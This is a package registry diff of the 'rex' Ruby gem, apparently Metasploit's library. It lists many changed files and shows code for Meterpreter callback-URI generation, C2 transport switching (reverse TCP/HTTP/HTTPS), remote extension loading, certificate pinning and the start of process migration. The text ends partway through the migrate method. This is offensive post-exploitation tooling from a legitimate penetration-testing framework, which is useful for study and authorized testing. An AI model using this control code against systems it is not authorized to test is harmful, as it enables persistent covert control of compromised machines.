rex 2.0.8 → 2.0.9

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (151) hide show
  1. checksums.yaml +4 -4
  2. data/lib/rex.rb +1 -0
  3. data/lib/rex/arch.rb +5 -0
  4. data/lib/rex/arch/x86.rb +19 -5
  5. data/lib/rex/arch/zarch.rb +17 -0
  6. data/lib/rex/compat.rb +5 -4
  7. data/lib/rex/constants.rb +3 -1
  8. data/lib/rex/encoder/alpha2/alpha_mixed.rb +70 -9
  9. data/lib/rex/encoder/alpha2/alpha_upper.rb +67 -8
  10. data/lib/rex/exploitation/cmdstager.rb +1 -0
  11. data/lib/rex/exploitation/cmdstager/certutil.rb +115 -0
  12. data/lib/rex/exploitation/cmdstager/echo.rb +6 -3
  13. data/lib/rex/exploitation/egghunter.rb +1 -1
  14. data/lib/rex/google/geolocation.rb +68 -0
  15. data/lib/rex/io/bidirectional_pipe.rb +0 -4
  16. data/lib/rex/java/serialization.rb +2 -0
  17. data/lib/rex/java/serialization/decode_error.rb +11 -0
  18. data/lib/rex/java/serialization/encode_error.rb +11 -0
  19. data/lib/rex/java/serialization/model.rb +2 -0
  20. data/lib/rex/java/serialization/model/annotation.rb +3 -3
  21. data/lib/rex/java/serialization/model/block_data.rb +3 -3
  22. data/lib/rex/java/serialization/model/block_data_long.rb +3 -3
  23. data/lib/rex/java/serialization/model/class_desc.rb +6 -6
  24. data/lib/rex/java/serialization/model/contents.rb +17 -10
  25. data/lib/rex/java/serialization/model/field.rb +12 -11
  26. data/lib/rex/java/serialization/model/long_utf.rb +3 -3
  27. data/lib/rex/java/serialization/model/new_array.rb +22 -23
  28. data/lib/rex/java/serialization/model/new_class.rb +57 -0
  29. data/lib/rex/java/serialization/model/new_class_desc.rb +15 -16
  30. data/lib/rex/java/serialization/model/new_enum.rb +5 -5
  31. data/lib/rex/java/serialization/model/new_object.rb +22 -17
  32. data/lib/rex/java/serialization/model/proxy_class_desc.rb +109 -0
  33. data/lib/rex/java/serialization/model/reference.rb +4 -4
  34. data/lib/rex/java/serialization/model/stream.rb +7 -7
  35. data/lib/rex/java/serialization/model/utf.rb +3 -3
  36. data/lib/rex/json_hash_file.rb +94 -0
  37. data/lib/rex/logging/log_sink.rb +1 -0
  38. data/lib/rex/logging/sinks/timestamp_flatfile.rb +21 -0
  39. data/lib/rex/parser/appscan_nokogiri.rb +13 -23
  40. data/lib/rex/parser/fs/ntfs.rb +10 -5
  41. data/lib/rex/parser/nmap_nokogiri.rb +3 -1
  42. data/lib/rex/parser/openvas_nokogiri.rb +70 -73
  43. data/lib/rex/parser/winscp.rb +108 -0
  44. data/lib/rex/parser/x509_certificate.rb +92 -0
  45. data/lib/rex/payloads.rb +0 -1
  46. data/lib/rex/payloads/meterpreter/config.rb +154 -0
  47. data/lib/rex/payloads/meterpreter/uri_checksum.rb +136 -0
  48. data/lib/rex/post/meterpreter.rb +1 -1
  49. data/lib/rex/post/meterpreter/client.rb +26 -3
  50. data/lib/rex/post/meterpreter/client_core.rb +387 -75
  51. data/lib/rex/post/meterpreter/extensions/android/android.rb +127 -37
  52. data/lib/rex/post/meterpreter/extensions/android/tlv.rb +46 -25
  53. data/lib/rex/post/meterpreter/extensions/extapi/extapi.rb +4 -0
  54. data/lib/rex/post/meterpreter/extensions/extapi/ntds/ntds.rb +39 -0
  55. data/lib/rex/post/meterpreter/extensions/extapi/pageant/pageant.rb +44 -0
  56. data/lib/rex/post/meterpreter/extensions/extapi/tlv.rb +9 -0
  57. data/lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb +16 -1
  58. data/lib/rex/post/meterpreter/extensions/priv/priv.rb +1 -1
  59. data/lib/rex/post/meterpreter/extensions/python/python.rb +114 -0
  60. data/lib/rex/post/meterpreter/extensions/python/tlv.rb +21 -0
  61. data/lib/rex/post/meterpreter/extensions/stdapi/fs/dir.rb +17 -14
  62. data/lib/rex/post/meterpreter/extensions/stdapi/fs/file.rb +33 -12
  63. data/lib/rex/post/meterpreter/extensions/stdapi/fs/mount.rb +57 -0
  64. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_kernel32.rb +3 -3
  65. data/lib/rex/post/meterpreter/extensions/stdapi/stdapi.rb +3 -1
  66. data/lib/rex/post/meterpreter/extensions/stdapi/sys/config.rb +2 -0
  67. data/lib/rex/post/meterpreter/extensions/stdapi/sys/process.rb +16 -3
  68. data/lib/rex/post/meterpreter/extensions/stdapi/sys/registry.rb +29 -6
  69. data/lib/rex/post/meterpreter/extensions/stdapi/sys/registry_subsystem/registry_key.rb +5 -1
  70. data/lib/rex/post/meterpreter/extensions/stdapi/tlv.rb +18 -6
  71. data/lib/rex/post/meterpreter/extensions/stdapi/ui.rb +2 -2
  72. data/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb +34 -36
  73. data/lib/rex/post/meterpreter/packet.rb +29 -0
  74. data/lib/rex/post/meterpreter/packet_dispatcher.rb +20 -7
  75. data/lib/rex/post/meterpreter/ui/console.rb +1 -0
  76. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/android.rb +230 -72
  77. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb +544 -34
  78. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/adsi.rb +188 -57
  79. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb +115 -93
  80. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/lanattacks/dhcp.rb +1 -1
  81. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/mimikatz.rb +1 -1
  82. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/elevate.rb +49 -15
  83. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/priv/timestomp.rb +11 -2
  84. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/python.rb +187 -0
  85. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb +324 -133
  86. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/net.rb +52 -2
  87. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/sys.rb +68 -65
  88. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/ui.rb +9 -1
  89. data/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb +113 -118
  90. data/lib/rex/post/meterpreter/ui/console/interactive_channel.rb +3 -0
  91. data/lib/rex/powershell.rb +62 -0
  92. data/lib/rex/powershell/command.rb +359 -0
  93. data/lib/rex/{exploitation/powershell → powershell}/function.rb +0 -2
  94. data/lib/rex/{exploitation/powershell → powershell}/obfu.rb +0 -2
  95. data/lib/rex/{exploitation/powershell → powershell}/output.rb +11 -5
  96. data/lib/rex/{exploitation/powershell → powershell}/param.rb +0 -2
  97. data/lib/rex/powershell/parser.rb +182 -0
  98. data/lib/rex/powershell/payload.rb +78 -0
  99. data/lib/rex/{exploitation/powershell → powershell}/psh_methods.rb +16 -2
  100. data/lib/rex/{exploitation/powershell → powershell}/script.rb +2 -4
  101. data/lib/rex/proto/dcerpc/client.rb +6 -6
  102. data/lib/rex/proto/dcerpc/exceptions.rb +26 -0
  103. data/lib/rex/proto/http/client.rb +3 -3
  104. data/lib/rex/proto/http/client_request.rb +0 -5
  105. data/lib/rex/proto/http/response.rb +86 -0
  106. data/lib/rex/proto/ipmi/utils.rb +30 -26
  107. data/lib/rex/proto/kerberos/client.rb +1 -1
  108. data/lib/rex/proto/kerberos/model/kdc_request.rb +2 -2
  109. data/lib/rex/proto/rfb/client.rb +8 -3
  110. data/lib/rex/proto/rfb/constants.rb +1 -1
  111. data/lib/rex/proto/rmi.rb +2 -0
  112. data/lib/rex/proto/rmi/decode_error.rb +10 -0
  113. data/lib/rex/proto/rmi/exception.rb +10 -0
  114. data/lib/rex/proto/rmi/model.rb +5 -0
  115. data/lib/rex/proto/rmi/model/call.rb +4 -4
  116. data/lib/rex/proto/rmi/model/call_data.rb +137 -0
  117. data/lib/rex/proto/rmi/model/dgc_ack.rb +2 -2
  118. data/lib/rex/proto/rmi/model/element.rb +26 -11
  119. data/lib/rex/proto/rmi/model/output_header.rb +4 -4
  120. data/lib/rex/proto/rmi/model/ping.rb +2 -2
  121. data/lib/rex/proto/rmi/model/ping_ack.rb +2 -2
  122. data/lib/rex/proto/rmi/model/protocol_ack.rb +2 -2
  123. data/lib/rex/proto/rmi/model/return_data.rb +5 -5
  124. data/lib/rex/proto/rmi/model/return_value.rb +124 -0
  125. data/lib/rex/proto/rmi/model/unique_identifier.rb +77 -0
  126. data/lib/rex/proto/steam.rb +3 -0
  127. data/lib/rex/proto/steam/message.rb +125 -0
  128. data/lib/rex/proto/tftp/client.rb +35 -14
  129. data/lib/rex/random_identifier_generator.rb +2 -0
  130. data/lib/rex/ropbuilder.rb +1 -1
  131. data/lib/rex/socket/parameters.rb +9 -0
  132. data/lib/rex/socket/ssl_tcp.rb +25 -41
  133. data/lib/rex/socket/ssl_tcp_server.rb +10 -21
  134. data/lib/rex/sslscan/result.rb +20 -1
  135. data/lib/rex/text.rb +241 -55
  136. data/lib/rex/ui/output.rb +0 -3
  137. data/lib/rex/ui/subscriber.rb +0 -10
  138. data/lib/rex/ui/text/color.rb +9 -0
  139. data/lib/rex/ui/text/dispatcher_shell.rb +1 -0
  140. data/lib/rex/ui/text/output.rb +15 -4
  141. data/lib/rex/ui/text/output/file.rb +1 -0
  142. data/lib/rex/ui/text/output/stdio.rb +0 -16
  143. data/lib/rex/ui/text/shell.rb +3 -0
  144. data/lib/rex/ui/text/table.rb +85 -19
  145. data/lib/rex/user_agent.rb +118 -0
  146. data/rex.gemspec +2 -2
  147. metadata +41 -14
  148. data/lib/rex/exploitation/powershell.rb +0 -62
  149. data/lib/rex/exploitation/powershell/parser.rb +0 -183
  150. data/lib/rex/payloads/meterpreter.rb +0 -2
  151. data/lib/rex/payloads/meterpreter/patch.rb +0 -136
@@ -0,0 +1,136 @@
1
+ # -*- coding: binary -*-
2
+ require 'msf/core/payload/uuid'
3
+
4
+ module Rex
5
+ module Payloads
6
+ module Meterpreter
7
+ module UriChecksum
8
+
9
+ #
10
+ # Define 8-bit checksums for matching URLs
11
+ # These are based on charset frequency
12
+ #
13
+ URI_CHECKSUM_INITW = 92 # Windows
14
+ URI_CHECKSUM_INITN = 92 # Native (same as Windows)
15
+ URI_CHECKSUM_INITP = 80 # Python
16
+ URI_CHECKSUM_INITJ = 88 # Java
17
+ URI_CHECKSUM_CONN = 98 # Existing session
18
+ URI_CHECKSUM_INIT_CONN = 95 # New stageless session
19
+
20
+ # Mapping between checksums and modes
21
+ URI_CHECKSUM_MODES = Hash[
22
+ URI_CHECKSUM_INITN, :init_native,
23
+ URI_CHECKSUM_INITP, :init_python,
24
+ URI_CHECKSUM_INITJ, :init_java,
25
+ URI_CHECKSUM_INIT_CONN, :init_connect,
26
+ URI_CHECKSUM_CONN, :connect
27
+ ]
28
+
29
+ URI_CHECKSUM_MIN_LEN = 5
30
+
31
+ # Limit how long :connect URLs are to stay within 256 bytes when including
32
+ # the hostname, colon, port, and leading slash
33
+ URI_CHECKSUM_CONN_MAX_LEN = 128
34
+
35
+ URI_CHECKSUM_UUID_MIN_LEN = URI_CHECKSUM_MIN_LEN + Msf::Payload::UUID::UriLength
36
+
37
+ # Map "random" URIs to static strings, allowing us to randomize
38
+ # the URI sent in the first request.
39
+ #
40
+ # @param uri [String] The URI string from the HTTP request
41
+ # @return [Hash] The attributes extracted from the URI
42
+ def process_uri_resource(uri)
43
+
44
+ # Ignore non-base64url characters in the URL
45
+ uri_bare = uri.gsub(/[^a-zA-Z0-9_\-]/, '')
46
+
47
+ # Figure out the mode based on the checksum
48
+ uri_csum = Rex::Text.checksum8(uri_bare)
49
+
50
+ # Extract the UUID if the URI is long enough
51
+ uri_uuid = nil
52
+ if uri_bare.length >= URI_CHECKSUM_UUID_MIN_LEN
53
+ uri_uuid = Msf::Payload::UUID.new(uri: uri_bare)
54
+ end
55
+
56
+ uri_mode = URI_CHECKSUM_MODES[uri_csum]
57
+
58
+ # Return a hash of URI attributes
59
+ { uri: uri_bare, sum: uri_csum, uuid: uri_uuid, mode: uri_mode }
60
+ end
61
+
62
+ # Create a URI that matches the specified checksum and payload uuid
63
+ #
64
+ # @param sum [Fixnum] A checksum mode value to use for the generated url
65
+ # @param uuid [Msf::Payload::UUID] A valid UUID object
66
+ # @param len [Fixnum] An optional URI length value, including the leading slash
67
+ # @return [String] The URI string for connections
68
+ def generate_uri_uuid(sum, uuid, len=nil)
69
+ curl_uri_len = URI_CHECKSUM_UUID_MIN_LEN+rand(URI_CHECKSUM_CONN_MAX_LEN-URI_CHECKSUM_UUID_MIN_LEN)
70
+ curl_prefix = uuid.to_uri
71
+
72
+ if len
73
+ # Subtract a byte to take into account the leading /
74
+ curl_uri_len = len - 1
75
+ end
76
+
77
+ if curl_uri_len < URI_CHECKSUM_UUID_MIN_LEN
78
+ raise ArgumentError, "Length must be #{URI_CHECKSUM_UUID_MIN_LEN+1} bytes or greater"
79
+ end
80
+
81
+ # Pad out the URI and make the checksum match the specified sum
82
+ "/" + generate_uri_checksum(sum, curl_uri_len, curl_prefix)
83
+ end
84
+
85
+ # Create an arbitrary length URI that matches a given checksum
86
+ #
87
+ # @param sum [Fixnum] The checksum value that the generated URI should match
88
+ # @param len [Fixnum] The length of the URI to generate
89
+ # @param prefix [String] The optional prefix to use to build the URI
90
+ # @return [String] The URI string that checksums to the given value
91
+ def generate_uri_checksum(sum, len=5, prefix="")
92
+ # Lengths shorter than 4 bytes are unable to match all possible checksums
93
+ # Lengths of exactly 4 are relatively slow to find for high checksum values
94
+ # Lengths of 5 or more bytes find a matching checksum fairly quickly (~80ms)
95
+ if len < URI_CHECKSUM_MIN_LEN
96
+ raise ArgumentError, "Length must be #{URI_CHECKSUM_MIN_LEN} bytes or greater"
97
+ end
98
+
99
+ gen_len = len-prefix.length
100
+ if gen_len < URI_CHECKSUM_MIN_LEN
101
+ raise ArgumentError, "Prefix must be at least {URI_CHECKSUM_MIN_LEN} bytes smaller than total length"
102
+ end
103
+
104
+ # Brute force a matching checksum for shorter URIs
105
+ if gen_len < 40
106
+ loop do
107
+ uri = prefix + Rex::Text.rand_text_base64url(gen_len)
108
+ return uri if Rex::Text.checksum8(uri) == sum
109
+ end
110
+ end
111
+
112
+ # The rand_text_base64url() method becomes a bottleneck at around 40 bytes
113
+ # Calculating a static prefix flattens out the average runtime for longer URIs
114
+ prefix << Rex::Text.rand_text_base64url(gen_len-20)
115
+
116
+ loop do
117
+ uri = prefix + Rex::Text.rand_text_base64url(20)
118
+ return uri if Rex::Text.checksum8(uri) == sum
119
+ end
120
+ end
121
+
122
+ # Return the numerical checksum for a given mode symbol
123
+ #
124
+ # @param mode [Symbol] The mode symbol to lookup (:connect, :init_native, :init_python, :init_java)
125
+ # @return [Fixnum] The URI checksum value corresponding with the mode
126
+ def uri_checksum_lookup(mode)
127
+ sum = URI_CHECKSUM_MODES.keys.select{|ksum| URI_CHECKSUM_MODES[ksum] == mode}.first
128
+ unless sum
129
+ raise ArgumentError, "Unknown checksum mode: #{mode}"
130
+ end
131
+ sum
132
+ end
133
+ end
134
+ end
135
+ end
136
+ end
@@ -1,5 +1,5 @@
1
1
  # -*- coding: binary -*-
2
2
 
3
- require 'meterpreter_bins'
3
+ require 'metasploit-payloads'
4
4
  require 'rex/post/meterpreter/client'
5
5
  require 'rex/post/meterpreter/ui/console'
@@ -85,11 +85,18 @@ class Client
85
85
  # Cleans up the meterpreter instance, terminating the dispatcher thread.
86
86
  #
87
87
  def cleanup_meterpreter
88
- ext.aliases.each_value do | extension |
89
- extension.cleanup if extension.respond_to?( 'cleanup' )
88
+ if not self.skip_cleanup
89
+ ext.aliases.each_value do | extension |
90
+ extension.cleanup if extension.respond_to?( 'cleanup' )
91
+ end
90
92
  end
93
+
91
94
  dispatcher_thread.kill if dispatcher_thread
92
- core.shutdown rescue nil
95
+
96
+ if not self.skip_cleanup
97
+ core.shutdown rescue nil
98
+ end
99
+
93
100
  shutdown_passive_dispatcher
94
101
  end
95
102
 
@@ -111,6 +118,8 @@ class Client
111
118
  self.ssl = opts[:ssl]
112
119
  self.expiration = opts[:expiration]
113
120
  self.comm_timeout = opts[:comm_timeout]
121
+ self.retry_total = opts[:retry_total]
122
+ self.retry_wait = opts[:retry_wait]
114
123
  self.passive_dispatcher = opts[:passive_dispatcher]
115
124
 
116
125
  self.response_timeout = opts[:timeout] || self.class.default_timeout
@@ -194,6 +203,7 @@ class Client
194
203
  self.sock.extend(Rex::Socket::SslTcp)
195
204
  self.sock.sslsock = ssl
196
205
  self.sock.sslctx = ctx
206
+ self.sock.sslhash = Rex::Text.sha1_raw(ctx.cert.to_der)
197
207
 
198
208
  tag = self.sock.get_once(-1, 30)
199
209
  if(not tag or tag !~ /^GET \//)
@@ -206,6 +216,7 @@ class Client
206
216
  self.sock.sslsock.close
207
217
  self.sock.sslsock = nil
208
218
  self.sock.sslctx = nil
219
+ self.sock.sslhash = nil
209
220
  self.sock = self.sock.fd
210
221
  self.sock.extend(::Rex::Socket::Tcp)
211
222
  end
@@ -451,6 +462,14 @@ class Client
451
462
  #
452
463
  attr_accessor :comm_timeout
453
464
  #
465
+ # The total time for retrying connections
466
+ #
467
+ attr_accessor :retry_total
468
+ #
469
+ # The time to wait between retry attempts
470
+ #
471
+ attr_accessor :retry_wait
472
+ #
454
473
  # The Passive Dispatcher
455
474
  #
456
475
  attr_accessor :passive_dispatcher
@@ -462,6 +481,10 @@ class Client
462
481
  # A list of the commands
463
482
  #
464
483
  attr_reader :commands
484
+ #
485
+ # The timestamp of the last received response
486
+ #
487
+ attr_accessor :last_checkin
465
488
 
466
489
  protected
467
490
  attr_accessor :parser, :ext_aliases # :nodoc:
@@ -8,8 +8,12 @@ require 'rex/post/meterpreter/client'
8
8
  # argument for moving the meterpreter client into the Msf namespace.
9
9
  require 'msf/core/payload/windows'
10
10
 
11
- # Provides methods to patch options into the metsrv stager.
12
- require 'rex/payloads/meterpreter/patch'
11
+ # URI uuid and checksum stuff
12
+ require 'msf/core/payload/uuid'
13
+ require 'rex/payloads/meterpreter/uri_checksum'
14
+
15
+ # certificate hash checking
16
+ require 'rex/parser/x509_certificate'
13
17
 
14
18
  module Rex
15
19
  module Post
@@ -28,11 +32,29 @@ class ClientCore < Extension
28
32
  UNIX_PATH_MAX = 108
29
33
  DEFAULT_SOCK_PATH = "/tmp/meterpreter.sock"
30
34
 
35
+ METERPRETER_TRANSPORT_SSL = 0
36
+ METERPRETER_TRANSPORT_HTTP = 1
37
+ METERPRETER_TRANSPORT_HTTPS = 2
38
+
39
+ TIMEOUT_SESSION = 24*3600*7 # 1 week
40
+ TIMEOUT_COMMS = 300 # 5 minutes
41
+ TIMEOUT_RETRY_TOTAL = 60*60 # 1 hour
42
+ TIMEOUT_RETRY_WAIT = 10 # 10 seconds
43
+
44
+ VALID_TRANSPORTS = {
45
+ 'reverse_tcp' => METERPRETER_TRANSPORT_SSL,
46
+ 'reverse_http' => METERPRETER_TRANSPORT_HTTP,
47
+ 'reverse_https' => METERPRETER_TRANSPORT_HTTPS,
48
+ 'bind_tcp' => METERPRETER_TRANSPORT_SSL
49
+ }
50
+
51
+ include Rex::Payloads::Meterpreter::UriChecksum
52
+
31
53
  #
32
54
  # Initializes the 'core' portion of the meterpreter client commands.
33
55
  #
34
56
  def initialize(client)
35
- super(client, "core")
57
+ super(client, 'core')
36
58
  end
37
59
 
38
60
  ##
@@ -41,6 +63,92 @@ class ClientCore < Extension
41
63
  #
42
64
  ##
43
65
 
66
+ #
67
+ # Get a list of loaded commands for the given extension.
68
+ #
69
+ def get_loaded_extension_commands(extension_name)
70
+ request = Packet.create_request('core_enumextcmd')
71
+ request.add_tlv(TLV_TYPE_STRING, extension_name)
72
+
73
+ begin
74
+ response = self.client.send_packet_wait_response(request, self.client.response_timeout)
75
+ rescue
76
+ # In the case where orphaned shells call back with OLD copies of the meterpreter
77
+ # binaries, we end up with a case where this fails. So here we just return the
78
+ # empty list of supported commands.
79
+ return []
80
+ end
81
+
82
+ # No response?
83
+ if response.nil?
84
+ raise RuntimeError, 'No response was received to the core_enumextcmd request.', caller
85
+ elsif response.result != 0
86
+ # This case happens when the target doesn't support the core_enumextcmd message.
87
+ # If this is the case, then we just want to ignore the error and return an empty
88
+ # list. This will force the caller to load any required modules.
89
+ return []
90
+ end
91
+
92
+ commands = []
93
+ response.each(TLV_TYPE_STRING) { |c|
94
+ commands << c.value
95
+ }
96
+
97
+ commands
98
+ end
99
+
100
+ def transport_list
101
+ request = Packet.create_request('core_transport_list')
102
+ response = client.send_request(request)
103
+
104
+ result = {
105
+ :session_exp => response.get_tlv_value(TLV_TYPE_TRANS_SESSION_EXP),
106
+ :transports => []
107
+ }
108
+
109
+ response.each(TLV_TYPE_TRANS_GROUP) { |t|
110
+ result[:transports] << {
111
+ :url => t.get_tlv_value(TLV_TYPE_TRANS_URL),
112
+ :comm_timeout => t.get_tlv_value(TLV_TYPE_TRANS_COMM_TIMEOUT),
113
+ :retry_total => t.get_tlv_value(TLV_TYPE_TRANS_RETRY_TOTAL),
114
+ :retry_wait => t.get_tlv_value(TLV_TYPE_TRANS_RETRY_WAIT),
115
+ :ua => t.get_tlv_value(TLV_TYPE_TRANS_UA),
116
+ :proxy_host => t.get_tlv_value(TLV_TYPE_TRANS_PROXY_HOST),
117
+ :proxy_user => t.get_tlv_value(TLV_TYPE_TRANS_PROXY_USER),
118
+ :proxy_pass => t.get_tlv_value(TLV_TYPE_TRANS_PROXY_PASS),
119
+ :cert_hash => t.get_tlv_value(TLV_TYPE_TRANS_CERT_HASH)
120
+ }
121
+ }
122
+
123
+ result
124
+ end
125
+
126
+ def set_transport_timeouts(opts={})
127
+ request = Packet.create_request('core_transport_set_timeouts')
128
+
129
+ if opts[:session_exp]
130
+ request.add_tlv(TLV_TYPE_TRANS_SESSION_EXP, opts[:session_exp])
131
+ end
132
+ if opts[:comm_timeout]
133
+ request.add_tlv(TLV_TYPE_TRANS_COMM_TIMEOUT, opts[:comm_timeout])
134
+ end
135
+ if opts[:retry_total]
136
+ request.add_tlv(TLV_TYPE_TRANS_RETRY_TOTAL, opts[:retry_total])
137
+ end
138
+ if opts[:retry_wait]
139
+ request.add_tlv(TLV_TYPE_TRANS_RETRY_WAIT, opts[:retry_wait])
140
+ end
141
+
142
+ response = client.send_request(request)
143
+
144
+ {
145
+ :session_exp => response.get_tlv_value(TLV_TYPE_TRANS_SESSION_EXP),
146
+ :comm_timeout => response.get_tlv_value(TLV_TYPE_TRANS_COMM_TIMEOUT),
147
+ :retry_total => response.get_tlv_value(TLV_TYPE_TRANS_RETRY_TOTAL),
148
+ :retry_wait => response.get_tlv_value(TLV_TYPE_TRANS_RETRY_WAIT)
149
+ }
150
+ end
151
+
44
152
  #
45
153
  # Loads a library on the remote meterpreter instance. This method
46
154
  # supports loading both extension and non-extension libraries and
@@ -72,7 +180,7 @@ class ClientCore < Extension
72
180
 
73
181
  # No library path, no cookie.
74
182
  if library_path.nil?
75
- raise ArgumentError, "No library file path was supplied", caller
183
+ raise ArgumentError, 'No library file path was supplied', caller
76
184
  end
77
185
 
78
186
  # Set up the proper loading flags
@@ -107,7 +215,7 @@ class ClientCore < Extension
107
215
  # path of the local and target so that it gets loaded with a random
108
216
  # name
109
217
  if opts['Extension']
110
- library_path = "ext" + rand(1000000).to_s + ".#{client.binary_suffix}"
218
+ library_path = "ext#{rand(1000000)}.#{client.binary_suffix}"
111
219
  target_path = library_path
112
220
  end
113
221
  end
@@ -125,7 +233,7 @@ class ClientCore < Extension
125
233
 
126
234
  # No response?
127
235
  if response.nil?
128
- raise RuntimeError, "No response was received to the core_loadlib request.", caller
236
+ raise RuntimeError, 'No response was received to the core_loadlib request.', caller
129
237
  elsif response.result != 0
130
238
  raise RuntimeError, "The core_loadlib request failed with result: #{response.result}.", caller
131
239
  end
@@ -153,44 +261,186 @@ class ClientCore < Extension
153
261
  if mod.nil?
154
262
  raise RuntimeError, "No modules were specified", caller
155
263
  end
156
- # Get us to the installation root and then into data/meterpreter, where
157
- # the file is expected to be
158
- modname = "ext_server_#{mod.downcase}"
159
- path = MeterpreterBinaries.path(modname, client.binary_suffix)
160
264
 
161
- if opts['ExtensionPath']
162
- path = ::File.expand_path(opts['ExtensionPath'])
163
- end
265
+ # Query the remote instance to see if commands for the extension are
266
+ # already loaded
267
+ commands = get_loaded_extension_commands(mod.downcase)
164
268
 
165
- if path.nil?
166
- raise RuntimeError, "No module of the name #{modname}.#{client.binary_suffix} found", caller
269
+ # if there are existing commands for the given extension, then we can use
270
+ # what's already there
271
+ unless commands.length > 0
272
+ # Get us to the installation root and then into data/meterpreter, where
273
+ # the file is expected to be
274
+ modname = "ext_server_#{mod.downcase}"
275
+ path = MetasploitPayloads.meterpreter_path(modname, client.binary_suffix)
276
+
277
+ if opts['ExtensionPath']
278
+ path = ::File.expand_path(opts['ExtensionPath'])
279
+ end
280
+
281
+ if path.nil?
282
+ raise RuntimeError, "No module of the name #{modname}.#{client.binary_suffix} found", caller
283
+ end
284
+
285
+ # Load the extension DLL
286
+ commands = load_library(
287
+ 'LibraryFilePath' => path,
288
+ 'UploadLibrary' => true,
289
+ 'Extension' => true,
290
+ 'SaveToDisk' => opts['LoadFromDisk'])
167
291
  end
168
292
 
169
- # Load the extension DLL
170
- commands = load_library(
171
- 'LibraryFilePath' => path,
172
- 'UploadLibrary' => true,
173
- 'Extension' => true,
174
- 'SaveToDisk' => opts['LoadFromDisk'])
293
+ # wire the commands into the client
175
294
  client.add_extension(mod, commands)
176
295
 
177
296
  return true
178
297
  end
179
298
 
299
+ def uuid(timeout=nil)
300
+ request = Packet.create_request('core_uuid')
301
+
302
+ args = [ request ]
303
+ args << timeout if timeout
304
+ response = client.send_request(*args)
305
+
306
+ id = response.get_tlv_value(TLV_TYPE_UUID)
307
+
308
+ return Msf::Payload::UUID.new({:raw => id})
309
+ end
310
+
311
+ def machine_id(timeout=nil)
312
+ request = Packet.create_request('core_machine_id')
313
+
314
+ args = [ request ]
315
+ args << timeout if timeout
316
+
317
+ response = client.send_request(*args)
318
+
319
+ mid = response.get_tlv_value(TLV_TYPE_MACHINE_ID)
320
+
321
+ # Normalise the format of the incoming machine id so that it's consistent
322
+ # regardless of case and leading/trailing spaces. This means that the
323
+ # individual meterpreters don't have to care.
324
+
325
+ # Note that the machine ID may be blank or nil and that is OK
326
+ Rex::Text.md5(mid.to_s.downcase.strip)
327
+ end
328
+
329
+ def transport_remove(opts={})
330
+ request = transport_prepare_request('core_transport_remove', opts)
331
+
332
+ return false unless request
333
+
334
+ client.send_request(request)
335
+
336
+ return true
337
+ end
338
+
339
+ def transport_add(opts={})
340
+ request = transport_prepare_request('core_transport_add', opts)
341
+
342
+ return false unless request
343
+
344
+ client.send_request(request)
345
+
346
+ return true
347
+ end
348
+
349
+ def transport_change(opts={})
350
+ request = transport_prepare_request('core_transport_change', opts)
351
+
352
+ return false unless request
353
+
354
+ client.send_request(request)
355
+
356
+ return true
357
+ end
358
+
359
+ def transport_sleep(seconds)
360
+ return false if seconds == 0
361
+
362
+ request = Packet.create_request('core_transport_sleep')
363
+
364
+ # we're reusing the comms timeout setting here instead of
365
+ # creating a whole new TLV value
366
+ request.add_tlv(TLV_TYPE_TRANS_COMM_TIMEOUT, seconds)
367
+ client.send_request(request)
368
+ return true
369
+ end
370
+
371
+ def transport_next
372
+ request = Packet.create_request('core_transport_next')
373
+ client.send_request(request)
374
+ return true
375
+ end
376
+
377
+ def transport_prev
378
+ request = Packet.create_request('core_transport_prev')
379
+ client.send_request(request)
380
+ return true
381
+ end
382
+
383
+ #
384
+ # Enable the SSL certificate has verificate
385
+ #
386
+ def enable_ssl_hash_verify
387
+ # Not supported unless we have a socket with SSL enabled
388
+ return nil unless self.client.sock.type? == 'tcp-ssl'
389
+
390
+ request = Packet.create_request('core_transport_setcerthash')
391
+
392
+ hash = Rex::Text.sha1_raw(self.client.sock.sslctx.cert.to_der)
393
+ request.add_tlv(TLV_TYPE_TRANS_CERT_HASH, hash)
394
+
395
+ client.send_request(request)
396
+
397
+ return hash
398
+ end
399
+
400
+ #
401
+ # Disable the SSL certificate has verificate
402
+ #
403
+ def disable_ssl_hash_verify
404
+ # Not supported unless we have a socket with SSL enabled
405
+ return nil unless self.client.sock.type? == 'tcp-ssl'
406
+
407
+ request = Packet.create_request('core_transport_setcerthash')
408
+
409
+ # send an empty request to disable it
410
+ client.send_request(request)
411
+
412
+ return true
413
+ end
414
+
415
+ #
416
+ # Attempt to get the SSL hash being used for verificaton (if any).
417
+ #
418
+ # @return 20-byte sha1 hash currently being used for verification.
419
+ #
420
+ def get_ssl_hash_verify
421
+ # Not supported unless we have a socket with SSL enabled
422
+ return nil unless self.client.sock.type? == 'tcp-ssl'
423
+
424
+ request = Packet.create_request('core_transport_getcerthash')
425
+ response = client.send_request(request)
426
+
427
+ return response.get_tlv_value(TLV_TYPE_TRANS_CERT_HASH)
428
+ end
429
+
180
430
  #
181
431
  # Migrates the meterpreter instance to the process specified
182
432
  # by pid. The connection to the server remains established.
183
433
  #
184
- def migrate(pid, writable_dir = nil)
185
- keepalive = client.send_keepalives
434
+ def migrate(pid, writable_dir = nil, opts = {})
435
+ keepalive = client.send_keepalives
186
436
  client.send_keepalives = false
187
- process = nil
188
- binary_suffix = nil
189
- old_platform = client.platform
190
- old_binary_suffix = client.binary_suffix
437
+ process = nil
438
+ binary_suffix = nil
439
+ old_platform = client.platform
440
+ old_binary_suffix = client.binary_suffix
191
441
 
192
442
